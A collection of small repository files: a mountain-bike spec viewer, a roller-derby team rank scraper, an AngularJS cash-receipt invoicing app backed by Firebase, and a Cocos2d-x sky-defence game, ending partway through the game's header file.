branch_name stringclasses 149 values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38 values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/master | <repo_name>RaduCristian25/WEB<file_sep>/mtb/mtb2.js
//var list = document.getElementById("list").getElementsByTagName("li");
var list = document.getElementsByClassName("button");
for (var i = 0; i < list.length; i++){
list[i].addEventListener("click", buttonClick);
}
var text = new Array(list.length);
text[0] = "Model: Unisex\nCadru: Hardtail\nTip: Cross Country XC\nTransmisie: 3x9 viteze\nSistem franare: Disc -hidraulic\nMaterial cadru: Aluminiu\nAngrenaj (Foi): Shimano Acera M3000\nAnvelopa fata: Continental Conti X-King\nAnvelopa spate: Continental Conti X-King\nButuc fata: F- Shimano TX505 R- Shimano TX5058\nButuc pedalier: VP-BC73\nButuc spate: F- Shimano TX505 R- Shimano TX5058\nCadru: Aluminiu\nCuvete: VP A42E\nFrane: Shimano M315\nFurca: Rock Shox FS XC30 TK29 Q CL T:100\nGhidon: HL Mtb 320 BT\nJante: Crosser X11 32H\nLant: KMC X9\nManete frana: Shimano M315\nManete schimbator: Shimano Altus M370\nSa: Selle Royal SR-8014URO\nSchimbator foi: Shimano Acera M3000\nTija sa: HL SP-C255";
text[1] = "Model: Unisex\nCadru: Hardtail\nTip: Cross Country XC\nTransmisie: 3x10 viteze\nSistem franare: Disc -hidraulic\nMaterial cadru: Aluminiu\nAngrenaj (Foi): Shimano MT 500 EB\nAnvelopa fata: Schwalbe Racing Ralph\nAnvelopa spate: Schwalbe Racing Ralph\nButuc fata: F- Shimano TX505 R- Shimano TX5058\nButuc pedalier: Inclus in bratul pedalier\nButuc spate: F- Shimano TX505 R- Shimano TX5058\nCadru: Aluminiu\nCuvete: VP A41AC\nFrane: Shimano M365\nFurca: Rock Shox FS 30 TK R Q SA T:100 DFBS DSC AL\nGhidon: Kalloy HB-RB12 B.B 31.8 W 680 Rise 15 Bend 5\nJante: Crosser X11 32H\nLant: KMC X10\nManete frana: Shimano M365\nManete schimbator: Shimano Deore M610\nSa: Selle Royal SR-8014URO\nSchimbator foi: Shimano Deore M610\nTija sa: Kalloy SP-368";
var image = new Array(list.length);
image[0] = "Cross Xtreme Eco.jpg";
image[1] = "Cross Euphoria.jpg";
var div,img,index;
function buttonClick(e){
e.preventDefault();
var target = e.target;
var ok = 0;
for (var i = 0; i < list.length; i++) {
if(list[i].style.display == "none"){
list[i].style.display = "block";
ok = 1;
}
}
if(ok == 1){
document.getElementById("list").children[index].removeChild(details);
}
else{
for (var i = 0; i < list.length; i++) {
if(list[i].textContent == target.textContent){
index = i;
break;
}
}
for (var i = 0; i < list.length; i++) {
if(i != index){
list[i].style.display = "none";
}
}
details = document.createElement("aside");
details.className = "details";
div = document.createElement("div");
div.appendChild(document.createTextNode(text[index]));
div.className = "specs";
details.appendChild(div);
img = document.createElement("img");
img.src = image[index];
img.className = "picture";
details.appendChild(img);
document.getElementById("list").children[index].appendChild(details);
}
} | c446ccd08d2cb88e3b610fe82f439519ca1d086c | [
"JavaScript"
] | 1 | JavaScript | RaduCristian25/WEB | a5978068dfad0acb55553aa776a8003d44f2bf45 | 8cdf092761543e6a55d8a729e4409a364101fd2a |
refs/heads/master | <file_sep>(function(){
let debug = false;
if(debug){
setTeams(['http://flattrack.gaijin.com/widgets/rank-detail/bf61ef6d83cb88534c77f2f7c5348c21.html']);
}
else{
setTeams(['http://flattrack.gaijin.com/widgets/rank-detail/79feadc7820fe937e42cdeb863407b8b.html',
'http://flattrack.gaijin.com/widgets/rank-detail/d5d9dbb6456b59bf84058bc5fba53141.html',
'http://flattrack.gaijin.com/widgets/rank-detail/1e001f943517498f8b553f674ea097b9.html',
'http://flattrack.gaijin.com/widgets/rank-detail/d48a6b7d50a2dbe965a05d8fa508c36c.html',
'http://flattrack.gaijin.com/widgets/rank-detail/0f3fb9bfab4f5dea46c7e29745943eda.html',
'http://flattrack.gaijin.com/widgets/rank-detail/6395cfbea94166eb8ffa44df7c4acef5.html',
'http://flattrack.gaijin.com/widgets/rank-detail/73abd8ed81119e2414297d79abe5c453.html',
'http://flattrack.gaijin.com/widgets/rank-detail/6337586fa5c4953ff2da54da12560ed3.html',
'http://flattrack.gaijin.com/widgets/rank-detail/f4f368639f607d79b03e5a22e224f9c2.html',
'http://flattrack.gaijin.com/widgets/rank-detail/7bea633ab22c9686899d0f4039e10c4d.html',
'http://flattrack.gaijin.com/widgets/rank-detail/faa630897af5da43cc97846871a483e7.html',
'http://flattrack.gaijin.com/widgets/rank-detail/bf61ef6d83cb88534c77f2f7c5348c21.html',
'http://flattrack.gaijin.com/widgets/rank-detail/527650cb8de6734e6fb0016724acf0d3.html',
'http://flattrack.gaijin.com/widgets/rank-detail/7e74622d4a50208ca21828d611e1122d.html',
'http://flattrack.gaijin.com/widgets/rank-detail/df16a0bdeb65205d36c7bba598b54d3b.html',
'http://flattrack.gaijin.com/widgets/rank-detail/8e6d13d6a3ee948d87550051cc9c2baa.html',
'http://flattrack.gaijin.com/widgets/rank-detail/30759435bef36f6c516ac9ce835452d9.html',
'http://flattrack.gaijin.com/widgets/rank-detail/11f8732d81806eccb83cd766f455aba8.html',
'http://flattrack.gaijin.com/widgets/rank-detail/d2b9e7d5d28c9c72ab0c8f895949560b.html',
'http://flattrack.gaijin.com/widgets/rank-detail/ab28c6ed2fb30f2c756167c3feee68b0.html',
'http://flattrack.gaijin.com/widgets/rank-detail/8099e3ac5d16bb3d00a65b0ea75ab49f.html',
'http://flattrack.gaijin.com/widgets/rank-detail/250ddea18679b2d0bde40d6cdb8c1562.html',
'http://flattrack.gaijin.com/widgets/rank-detail/648f60621ae8a96c1924888eba989a31.html',
'http://flattrack.gaijin.com/widgets/rank-detail/c472f8a7e188733a27983ad5b42d8a89.html'
]);
}
})()
let mainUrl = 'http://flattrack.gaijin.com';
function getTeam(teamId, callback){
$.getJSON('http://www.whateverorigin.org/get?url=' + encodeURIComponent(teamId) + '&callback=?', function(data){
let teamData = $(data)[0].contents;
let team = {
name: removeWhitespaces(($(teamData).find('.content-right span')[0].innerText)),
rank: removeWhitespaces(($(teamData).find('.rank')[0].innerText)),
image: getTeamImage($($(teamData).find('.bluebox img')[0])),
}
callback(team);
});
}
function removeWhitespaces(text){
return text.replace(/ /g,'')
}
function getTeamImage(data){
return mainUrl + '/' + data[0].src.replace(data[0].baseURI,'');
}
function setTeams(teams){
teams.forEach(function(item, index){
getTeam(teams[index], function(result){
createTeamItem(result);
});
})
}
function createTeamItem(result){
$('.teamsWrapper').append('<div class="teamSection">')
$('.teamsWrapper').append('<div class="team">' + result.name + '</div>')
$('.teamsWrapper').append('<div class="rank">' + result.rank + '</div>')
$('.teamsWrapper').append('<div class="image"><img src="' + result.image + '</img></div>')
$('.teamsWrapper').append('</div>')
} | 9f98a470a18166b611f45a76641f0cead8e15856 | [
"JavaScript"
] | 1 | JavaScript | iammartz/rayo-derby-tracker | 4bdf79d1c7698417cbf70fa9f567d72e8784cdf2 | 615d3d4e3f2cd675e7645b106d2f7c98a5f771d2 |
refs/heads/master | <file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Test : MonoBehaviour {
//アニメーションするためのコンポーネントを入れる
private Animator myAnimator;
// Use this for initialization
void Start()
{
//Animatorコンポーネントを取得
this.myAnimator = GetComponent<Animator>();
//走るモーションを開始
this.myAnimator.SetFloat("Speed", 1);
}
// Update is called once per frame
void Update () {
}
}
| b9340213fa83e20a793307860d433b3aab94ca56 | [
"C#"
] | 1 | C# | Shoya3/StepAsideUnityChan | 228513589d6872c737f239d2a1d3f4d0a844d67f | 1732899460591c57bb7818de68c04abe30ff5a34 |
refs/heads/main | <file_sep>angular.module('invoicing', [])
// The default logo for the invoice
.constant('DEFAULT_LOGO', 'images/logo.png')
// The invoice displayed when the user first uses the app
.constant('DEFAULT_INVOICE', {
date: '09/07/2021',
invoice_number: 2010,
payment_method: 'Cash',
amount: '',
customer_info: {
name: '',
course: '',
amnt_words: '',
by: 'Eduphile Education Consultancy'
}
})
// Service for accessing local storage
.service('LocalStorage', [function () {
var Service = {};
// Returns true if there is a logo stored
var hasLogo = function () {
return !!localStorage['logo'];
};
// Returns a stored logo (false if none is stored)
Service.getLogo = function () {
if (hasLogo()) {
return localStorage['logo'];
} else {
return false;
}
};
Service.setLogo = function (logo) {
localStorage['logo'] = logo;
};
// Checks to see if an invoice is stored
var hasInvoice = function () {
return !(localStorage['invoice'] == '' || localStorage['invoice'] == null);
};
// Returns a stored invoice (false if none is stored)
Service.getInvoice = function () {
if (hasInvoice()) {
return JSON.parse(localStorage['invoice']);
} else {
return false;
}
};
Service.setInvoice = function (invoice) {
localStorage['invoice'] = JSON.stringify(invoice);
};
// Clears a stored logo
Service.clearLogo = function () {
localStorage['logo'] = '';
};
// Clears a stored invoice
Service.clearinvoice = function () {
localStorage['invoice'] = '';
};
// Clears all local storage
Service.clear = function () {
localStorage['invoice'] = '';
Service.clearLogo();
};
return Service;
}])
.service('Currency', [function () {
var service = {};
service.all = function () {
return [
{
name: 'British Pound (£)',
symbol: '£'
},
{
name: 'Canadian Dollar ($)',
symbol: 'CAD $ '
},
{
name: 'Euro (€)',
symbol: '€'
},
{
name: 'Indian Rupee (₹)',
symbol: '₹'
},
{
name: 'Norwegian krone (kr)',
symbol: 'kr '
},
{
name: 'US Dollar ($)',
symbol: '$'
}
]
}
return service;
}])
// Main application controller
.controller('InvoiceCtrl', ['$scope', '$http', 'DEFAULT_INVOICE', 'DEFAULT_LOGO', 'LocalStorage', 'Currency',
function ($scope, $http, DEFAULT_INVOICE, DEFAULT_LOGO, LocalStorage, Currency) {
// Set defaults
$scope.currencySymbol = '$';
$scope.logoRemoved = false;
$scope.printMode = false;
$scope.form = false;
$scope.InvoiceList = [];
(function init() {
// Attempt to load invoice from local storage
!function () {
var firebaseConfig = {
apiKey: "<KEY>",
authDomain: "eduphile-invoice.firebaseapp.com",
projectId: "eduphile-invoice",
storageBucket: "eduphile-invoice.appspot.com",
messagingSenderId: "584599878332",
appId: "1:584599878332:web:78e9634fc3a9f382742eb9",
databaseURL: "https://eduphile-invoice-default-rtdb.firebaseio.com"
};
//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
//initialize your firebase
firebase.initializeApp(firebaseConfig);
var database = firebase.database();
var invoice = LocalStorage.getInvoice();
$scope.invoice = invoice ? invoice : DEFAULT_INVOICE;
//create a variable to hold our orders list from firebase
database.ref("invoices").on("value", (snap) => {
var totalRecord = snap.numChildren();
console.log("Total Record : " + totalRecord);
$scope.InvoiceList = Object.entries(snap.val()).map((item)=>item[1]);
angular.element(document.querySelector('#invoice-number')).val(totalRecord+2020);
$scope.invoice.invoice_number = totalRecord+2020;
});
}();
// Set logo to the one from local storage or use default
!function () {
var logo = LocalStorage.getLogo();
$scope.logo = logo ? logo : DEFAULT_LOGO;
}();
$scope.availableCurrencies = Currency.all();
})()
// Adds an item to the invoice's items
$scope.addItem = function () {
$scope.invoice.items.push({ qty: 0, cost: 0, description: "" });
}
// Toggle's the logo
$scope.toggleLogo = function (element) {
$scope.logoRemoved = !$scope.logoRemoved;
LocalStorage.clearLogo();
};
// Triggers the logo chooser click event
$scope.viewInvoice = function () {
// angular.element('#imgInp').trigger('click');
$scope.form = true;
};
$scope.newInvoice = function () {
// angular.element('#imgInp').trigger('click');
$scope.form = false;
};
$scope.printInfo = function () {
document.getElementsByClassName('infos')[0].classList.add('no-border');
document.getElementsByClassName('branding')[0].classList.add('no-border');
const element = document.getElementById("invoice");
// Choose the element and save the PDF for our user.
var opt = {
filename: "cash-receipt.pdf",
image: { type: "jpeg", quality: 0.98 },
jsPDF: { unit: "in", format: "letter", orientation: "portrait" },
};
// New Promise-based usage:
html2pdf().set(opt).from(element).save();
// html2pdf().from(element).save();
setTimeout(()=>{
firebase.database().ref('invoices/').push($scope.invoice);
document.getElementsByClassName('infos')[0].classList.remove('no-border');
document.getElementsByClassName('branding')[0].classList.remove('no-border');
window.location.reload();
},2000)
};
// Remotes an item from the invoice
$scope.removeItem = function (item) {
$scope.invoice.items.splice($scope.invoice.items.indexOf(item), 1);
};
// Calculates the sub total of the invoice
$scope.invoiceSubTotal = function () {
var total = 0.00;
angular.forEach($scope.invoice.items, function (item, key) {
total += (item.qty * item.cost);
});
return total;
};
// Calculates the tax of the invoice
$scope.calculateTax = function () {
return (($scope.invoice.tax * $scope.invoiceSubTotal()) / 100);
};
// Calculates the grand total of the invoice
$scope.calculateGrandTotal = function () {
saveInvoice();
return $scope.calculateTax() + $scope.invoiceSubTotal();
};
// Clears the local storage
$scope.clearLocalStorage = function () {
var confirmClear = confirm('Are you sure you would like to clear the invoice?');
if (confirmClear) {
LocalStorage.clear();
setInvoice(DEFAULT_INVOICE);
}
};
// Sets the current invoice to the given one
var setInvoice = function (invoice) {
$scope.invoice = invoice;
saveInvoice();
};
// Reads a url
var readUrl = function (input) {
if (input.files && input.files[0]) {
var reader = new FileReader();
reader.onload = function (e) {
document.getElementById('company_logo').setAttribute('src', e.target.result);
LocalStorage.setLogo(e.target.result);
}
reader.readAsDataURL(input.files[0]);
}
};
// Saves the invoice in local storage
var saveInvoice = function () {
// LocalStorage.setInvoice($scope.invoice);
};
// Runs on document.ready
// angular.element(document).ready(function () {
// // Set focus
// document.getElementById('invoice-number').focus();
// // Changes the logo whenever the input changes
// document.getElementById('imgInp').onchange = function () {
// readUrl(this);
// };
// });
}])
| d006a39d0092178bd68ee277da38699d5d8c3b4d | [
"JavaScript"
] | 1 | JavaScript | eduphileinvoice/invoicing | 447d9d51787cd844526ffae6ca3be9c781610439 | 3ed7a73473c173c0259cd07d33bdcda416b8d50e |
refs/heads/master | <repo_name>cooloon/19_SkyDefence<file_sep>/Classes/GameLayer.cpp
#include "GameLayer.h"
#include <iostream>
#include "SimpleAudioEngine.h"
USING_NS_CC;
using namespace CocosDenshion;
Scene* GameLayer::createScene()
{
auto scene = Scene::create();
auto layer = GameLayer::create();
scene->addChild(layer);
return scene;
}
// on "init" you need to initialize your instance
bool GameLayer::init()
{
if ( !Layer::init() )
{
return false;
}
// 初期設定
_screenSize = Director::getInstance()->getWinSize();
_playing = false;
// 画面と配列の準備
setupGameScreen();
setupPools();
setupActions();
// タッチ検知の有効化
EventListenerTouchAllAtOnce *tap = EventListenerTouchAllAtOnce::create();
tap->onTouchesBegan = CC_CALLBACK_2(GameLayer::onTouchesBegan, this);
this->getEventDispatcher()->addEventListenerWithSceneGraphPriority(tap, this);
// ゲーム開始
this->scheduleUpdate();
SimpleAudioEngine::getInstance()->playBackgroundMusic("background.mp3", true);
return true;
}
void GameLayer::setupGameScreen()
{
// 背景画像を設置
Sprite *background = Sprite::create("bg.png");
background->setPosition(Point(_screenSize.width/2, _screenSize.height/2));
this->addChild(background);
// テクスチャアトラスからSpriteBatchNode作成
SpriteFrameCache::getInstance()->addSpriteFramesWithFile("sprite_sheet.plist");
_gameBatchNode = SpriteBatchNode::create("sprite_sheet.png");
this->addChild(_gameBatchNode);
// 画面下部に街を表示
Sprite *sprite;
for (int i = 0; i < 2; i++) {
sprite = Sprite::createWithSpriteFrameName("city_dark.png");
sprite->setPosition(_screenSize.width * (.25 + i * .5), sprite->getContentSize().height * .5);
_gameBatchNode->addChild(sprite, kForeground);
sprite = Sprite::createWithSpriteFrameName("city_light.png");
sprite->setPosition(_screenSize.width * (.25 + i * .5), sprite->getContentSize().height * .9);
_gameBatchNode->addChild(sprite, kBackground);
}
// 木を表示
for (int i = 0; i < 3; i++) {
sprite = Sprite::createWithSpriteFrameName("trees.png");
sprite->setPosition(_screenSize.width * (.2 + i * .3), sprite->getContentSize().height / 2);
_gameBatchNode->addChild(sprite, kForeground);
}
// スコア表示
_scoreDisplay = Label::createWithBMFont("font.fnt", "0");
_scoreDisplay->setAnchorPoint(Point::ANCHOR_MIDDLE_RIGHT);
_scoreDisplay->setPosition(_screenSize.width * .8, _screenSize.height * .94);
this->addChild(_scoreDisplay);
// エネルギー表示
_energyDisplay = Label::createWithBMFont("font.fnt", "100%");
_energyDisplay->setPosition(_screenSize.width * .3, _screenSize.height * .94);
this->addChild(_energyDisplay);
// エネルギーアイコン表示
Sprite *icon = Sprite::createWithSpriteFrameName("health_icon.png");
icon->setPosition(_screenSize.width * .15, _screenSize.height * .94);
_gameBatchNode->addChild(icon, kBackground);
// 雲を表示
Sprite *cloud;
float cloud_y;
for (int i = 0; i < 4; i++) {
cloud_y = i % 2 ? _screenSize.height * .5 : _screenSize.height * .4;
cloud = Sprite::createWithSpriteFrameName("cloud.png");
cloud->setPosition(_screenSize.width * (.1 + i * .3), cloud_y);
_gameBatchNode->addChild(cloud, kBackground);
_clouds.pushBack(cloud);
}
// 爆弾を準備
_bomb = Sprite::createWithSpriteFrameName("bomb.png");
_bomb->getTexture()->generateMipmap();
_bomb->setVisible(false);
{
Size size = _bomb->getBoundingBox().size;
// 爆弾Spriteの中にSparkleを追加
Sprite *sparkle = Sprite::createWithSpriteFrameName("sparkle.png");
sparkle->setPosition(size.width * .72, size.height * .72);
_bomb->addChild(sparkle, kMiddleground, kSpriteSparkle);
// 爆弾Spriteの中にhaloを追加
Sprite *halo = Sprite::createWithSpriteFrameName("halo.png");
halo->setPosition(size.width * .4, size.height * .4);
_bomb->addChild(halo, kMiddleground, kSpriteHalo);
}
_gameBatchNode->addChild(_bomb, kForeground, kSpriteBomb);
// shockwave準備
_shockWave = Sprite::createWithSpriteFrameName("shockwave.png");
_shockWave->getTexture()->generateMipmap();
_shockWave->setVisible(false);
_gameBatchNode->addChild(_shockWave, kForeground, kSpriteShockwave);
// タイトル表示
_introMessage = Sprite::createWithSpriteFrameName("logo.png");
_introMessage->setPosition(_screenSize.width * .5, _screenSize.height * .6);
_introMessage->setVisible(true);
this->addChild(_introMessage, kForeground);
// ゲームオーバー表示
_gameOverMessage = Sprite::createWithSpriteFrameName("gameover.png");
_gameOverMessage->setPosition(_screenSize.width * .5, _screenSize.height * .65);
_gameOverMessage->setVisible(false);
this->addChild(_gameOverMessage, kForeground);
}
void GameLayer::setupPools()
{
Sprite *sprite;
for (int i = 0; i < 50; i++) {
sprite = Sprite::createWithSpriteFrameName("meteor.png");
sprite->setVisible(false);
_gameBatchNode->addChild(sprite, kMiddleground, kSpriteMeteor);
_meteorPool.pushBack(sprite);
}
for (int i = 0; i < 20; i++) {
sprite = Sprite::createWithSpriteFrameName("health.png");
sprite->setVisible(false);
sprite->setAnchorPoint(Point(.5, .8));
_gameBatchNode->addChild(sprite, kMiddleground, kSpriteHealth);
_healthPool.pushBack(sprite);
}
}
void GameLayer::setupActions()
{
// swing action for health drops
Sequence *easeSwing = Sequence::create(EaseInOut::create(RotateTo::create(1.2, -10), 2),
EaseInOut::create(RotateTo::create(1.2, 10), 2),
NULL);
_swingHealth = RepeatForever::create(easeSwing);
_swingHealth->retain();
// action sequence for shockwave: fade out, callback when done
_shockwaveSequence = Sequence::create(FadeOut::create(1.0),
CallFunc::create(CC_CALLBACK_0(GameLayer::shockwaveDone, this)),
NULL);
_shockwaveSequence->retain();
// action to grow bomb
_growBomb = ScaleTo::create(6.0, 1.0);
_growBomb->retain();
// rotate sprite
RotateBy *rotate = RotateBy::create(.5, -90);
_rotateSprite = RepeatForever::create(rotate);
_rotateSprite->retain();
// ground hit animation
Animation *animation = Animation::create();
SpriteFrame *frame;
std::ostringstream name;
for (int i = 1; i <= 10; i++) {
name.str("");
name << "boom" << i << ".png";
frame = SpriteFrameCache::getInstance()->getSpriteFrameByName(name.str());
animation->addSpriteFrame(frame);
}
animation->setDelayPerUnit(1.0 / 10.0);
animation->setRestoreOriginalFrame(true);
_groundHit = Sequence::create(MoveBy::create(0, Point(0, _screenSize.height * .12)),
Animate::create(animation),
CallFuncN::create(CC_CALLBACK_1(GameLayer::animationDone, this)),
NULL);
_groundHit->retain();
// hit meteor or health animation
animation = Animation::create();
for (int i = 1; i <= 7; i++) {
name.str("");
name << "explosion_small" << i << ".png";
frame = SpriteFrameCache::getInstance()->getSpriteFrameByName(name.str());
animation->addSpriteFrame(frame);
}
animation->setDelayPerUnit(0.5 / 7.0);
animation->setRestoreOriginalFrame(true);
_explotion = Sequence::create(Animate::create(animation),
CallFuncN::create(CC_CALLBACK_1(GameLayer::animationDone, this)),
NULL);
_explotion->retain();
}
void GameLayer::shockwaveDone()
{
_shockWave->setVisible(false);
}
void GameLayer::animationDone(Node *node)
{
node->setVisible(false);
}
void GameLayer::update(float dt)
{
if (!_playing) return;
//update timers
_meteorTimer += dt;
if (_meteorTimer > _meteorInterval) {
_meteorTimer = 0;
this->resetMeteor();
}
_healthTimer += dt;
if (_healthTimer > _healthInterval) {
_healthTimer = 0;
this->resetHealth();
}
_difficultyTimer += dt;
if (_difficultyTimer > _difficultyInterval) {
_difficultyTimer = 0;
this->increaseDifficulty();
}
// shockwaveと落下物の衝突判定
if (_shockWave->isVisible()) {
int count = (int)_fallingObjects.size();
Sprite *sprite;
for (int i = count-1; i >= 0; i--) {
sprite = _fallingObjects.at(i);
float diffx = _shockWave->getPositionX() - sprite->getPositionX();
float diffy = _shockWave->getPositionY() - sprite->getPositionY();
if (pow(diffx, 2) + pow(diffy, 2) <= pow(_shockWave->getBoundingBox().size.width / 2, 2)) {
sprite->stopAllActions();
sprite->runAction(_explotion->clone());
SimpleAudioEngine::getInstance()->playEffect("boom.wav");
if (sprite->getTag() == kSpriteMeteor) {
_shockwaveHints++;
_score += _shockwaveHints * 13 + _shockwaveHints * 2;
}
_fallingObjects.eraseObject(sprite);
}
}
std::ostringstream value;
value << _score;
_scoreDisplay->setString(value.str());
}
// move cloud
for (Sprite *cloud : _clouds) {
cloud->setPositionX(cloud->getPositionX() + dt * 20);
if (cloud->getPositionX() > _screenSize.width + cloud->getContentSize().width/2) {
cloud->setPositionX(-cloud->getContentSize().width/2);
}
}
if (_bomb->isVisible()) {
if (_bomb->getScale() > .3) {
if (_bomb->getOpacity() != 255) {
_bomb->setOpacity(255);
}
}
}
}
void GameLayer::resetGame()
{
_score = 0;
_energy = 100;
// reset timers and "speeds"
_meteorInterval = 2.5;
_meteorTimer = _meteorInterval * .99;
_meteorSpeed = 10; // in seconds to reach ground
_healthInterval = 20;
_healthTimer = 0;
_healthSpeed = 15; // in seconds to reach ground
_difficultyInterval = 60;
_difficultyTimer = 0;
_playing = true;
// reset labels
std::ostringstream value;
value << _energy << "%";
_energyDisplay->setString(value.str());
value.str("");
value << _score;
_scoreDisplay->setString(value.str());
}
void GameLayer::resetMeteor()
{
// if too many objectis on screen, return
if (_fallingObjects.size() > 30) return;
Sprite *meteor = _meteorPool.at(_meteorPoolIndex);
_meteorPoolIndex++;
if (_meteorPoolIndex >= _meteorPool.size()) _meteorPoolIndex = 0;
// pick start and target position for new meteor
int meteor_x = _screenSize.width * .1 + rand() % (int)_screenSize.width * .8;
int meteor_target_x = _screenSize.width * .1 + rand() % (int)_screenSize.width * .8;
meteor->stopAllActions();
meteor->setPosition(meteor_x, _screenSize.height + meteor->getContentSize().height/2);
// create action for meteor
RotateBy *rotate = RotateBy::create(.5, -90);
RepeatForever *repeatRotate = RepeatForever::create(rotate);
Sequence *sequence = Sequence::create(MoveTo::create(_meteorSpeed, Point(meteor_target_x, -meteor->getContentSize().height * .15)),
CallFuncN::create(CC_CALLBACK_1(GameLayer::fallingObjectDone, this)),
NULL);
meteor->setVisible(true);
meteor->runAction(repeatRotate);
meteor->runAction(sequence);
_fallingObjects.pushBack(meteor);
}
void GameLayer::resetHealth()
{
if (_fallingObjects.size() > 30) return;
Sprite *health = _healthPool.at(_healthPoolIndex);
_healthPoolIndex++;
if (_healthPoolIndex >= _healthPool.size()) _healthPoolIndex = 0;
int health_x = _screenSize.width * .1 + rand() % (int) (_screenSize.width * .8);
int health_target_x = _screenSize.width * .1 + rand() % (int) (_screenSize.width * .8);
health->stopAllActions();
health->setPosition(health_x, _screenSize.height + health->getContentSize().height/2);
//create action (swing, move to target, and call function when done)
Sequence *sequence = Sequence::create(
MoveTo::create(_healthSpeed, Point(health_target_x, _screenSize.height * .15)),
CallFuncN::create(CC_CALLBACK_1(GameLayer::fallingObjectDone, this)),
NULL);
health->setVisible (true);
health->runAction(_swingHealth->clone());
health->runAction(sequence);
_fallingObjects.pushBack(health);
}
void GameLayer::fallingObjectDone(Node *node)
{
//remove it from array
Sprite *pSender = (Sprite *)node;
_fallingObjects.eraseObject(pSender);
pSender->stopAllActions();
pSender->setRotation(0);
if (pSender->getTag() == kSpriteMeteor) {
//if object is a meteor...
_energy -= 15;
//show explosion animation
pSender->runAction(_groundHit->clone());
//play explosion sound
SimpleAudioEngine::getInstance()->playEffect("boom.wav");
} else {
//if object is a health drop...
pSender->setVisible(false);
//if energy is full, score points from falling drop
if (_energy == 100) {
_score += 25;
std::ostringstream score;
score << _score;
_scoreDisplay->setString(score.str());
} else {
_energy += 10;
if (_energy > 100) _energy = 100;
}
//play health bonus sound
SimpleAudioEngine::getInstance()->playEffect("health.wav");
}
//if energy is less or equal 0, game over
if (_energy <= 0) {
_energy = 0;
stopGame();
SimpleAudioEngine::getInstance()->playEffect("fire_truck.wav");
//show GameOver
_gameOverMessage->setVisible(true);
}
std::ostringstream szValue;
szValue << _energy << "%";
_energyDisplay->setString(szValue.str());
}
void GameLayer::stopGame()
{
_playing = false;
// stop all actions currently running
for (Sprite *sprite: _fallingObjects) {
sprite->stopAllActions();
sprite->setVisible(false);
}
_fallingObjects.clear();
if (_bomb->isVisible()) {
_bomb->stopAllActions();
_bomb->setVisible(false);
Sprite *child;
child = (Sprite *)_bomb->getChildByTag(kSpriteHalo);
child->stopAllActions();
child = (Sprite *)_bomb->getChildByTag(kSpriteSparkle);
child->stopAllActions();
}
if (_shockWave->isVisible()) {
_shockWave->stopAllActions();
_shockWave->setVisible(false);
}
}
void GameLayer::increaseDifficulty()
{
_meteorInterval -= .2;
if (_meteorInterval < .25) _meteorInterval = .25;
_meteorSpeed -= 1;
if (_meteorSpeed < 4) _meteorSpeed = 4;
_healthSpeed -= 1;
if (_healthSpeed < 8) _healthSpeed = 8;
}
void GameLayer::onTouchesBegan(const std::vector<Touch*>& touches, Event *unused_event)
{
// if game not running, we are seeng ehther intro or gameover
if (!_playing) {
if (_introMessage->isVisible()) {
_introMessage->setVisible(false);
} else if (_gameOverMessage->isVisible()) {
SimpleAudioEngine::getInstance()->stopAllEffects();
_gameOverMessage->setVisible(false);
}
this->resetGame();
return;
}
Touch *touch = touches.at(0);
if (touch) {
if (_bomb->isVisible()) {
// if bomb already growing, stop all actions on bomb, halo and sparkle
_bomb->stopAllActions();
Sprite *child;
child = (Sprite *)_bomb->getChildByTag(kSpriteHalo);
child->stopAllActions();
child = (Sprite *)_bomb->getChildByTag(kSpriteSparkle);
child->stopAllActions();
// if bomb is the right size, then create showckwae
if (_bomb->getScale() > .3) {
_shockWave->setScale(.1);
_shockWave->setPosition(_bomb->getPosition());
_shockWave->setOpacity(255);
_shockWave->setVisible(true);
_shockWave->runAction(ScaleTo::create(.5, _bomb->getScale() * 2));
_shockWave->runAction(_shockwaveSequence->clone());
SimpleAudioEngine::getInstance()->playEffect("bombRelease.wav");
} else {
SimpleAudioEngine::getInstance()->playEffect("bombFail.wav");
}
_bomb->setVisible(false);
// reset hints with shockwave, so we can count combo hits
_shockwaveHints = 0;
} else {
// if no bomb currently on scren, create one
Point tap = touch->getLocation();
_bomb->stopAllActions();
_bomb->setScale(.1);
_bomb->setPosition(tap);
_bomb->setVisible(true);
_bomb->setOpacity(50);
_bomb->runAction(_growBomb->clone());
Sprite *child;
child = (Sprite *)_bomb->getChildByTag(kSpriteHalo);
child->runAction(_rotateSprite->clone());
child = (Sprite *)_bomb->getChildByTag(kSpriteSparkle);
child->runAction(_rotateSprite->clone());
}
}
return;
}
GameLayer::~GameLayer()
{
CC_SAFE_RELEASE(_swingHealth);
CC_SAFE_RELEASE(_shockwaveSequence);
CC_SAFE_RELEASE(_growBomb);
CC_SAFE_RELEASE(_rotateSprite);
CC_SAFE_RELEASE(_groundHit);
CC_SAFE_RELEASE(_explotion);
}
<file_sep>/Classes/GameLayer.h
#ifndef __HELLOWORLD_SCENE_H__
#define __HELLOWORLD_SCENE_H__
#include "cocos2d.h"
USING_NS_CC;
enum {
kSpriteBomb,
kSpriteShockwave,
kSpriteMeteor,
kSpriteHealth,
kSpriteHalo,
kSpriteSparkle
};
enum {
kBackground,
kMiddleground,
kForeground
};
class GameLayer : public cocos2d::Layer
{
public:
virtual ~GameLayer();
static cocos2d::Scene* createScene();
CREATE_FUNC(GameLayer);
virtual bool init();
virtual void update(float dt);
virtual void onTouchesBegan(const std::vector<Touch*>& touches, Event *unused_event);
private:
void setupGameScreen(void);
void setupPools(void);
void setupActions(void);
void resetGame();
void resetMeteor(void);
void resetHealth(void);
void increaseDifficulty(void);
void fallingObjectDone(Node *node);
void shockwaveDone(void);
void animationDone(Node *node);
void stopGame(void);
SpriteBatchNode *_gameBatchNode;
Sprite *_bomb;
Sprite *_shockWave;
Sprite *_introMessage;
Sprite *_gameOverMessage;
Label *_scoreDisplay;
Label *_energyDisplay;
Vector<Sprite *> _clouds;
Vector<Sprite *> _fallingObjects;
Vector<Sprite *> _meteorPool;
int _meteorPoolIndex;
Vector<Sprite *> _healthPool;
int _healthPoolIndex;
Action *_swingHealth;
Action *_shockwaveSequence;
Action *_growBomb;
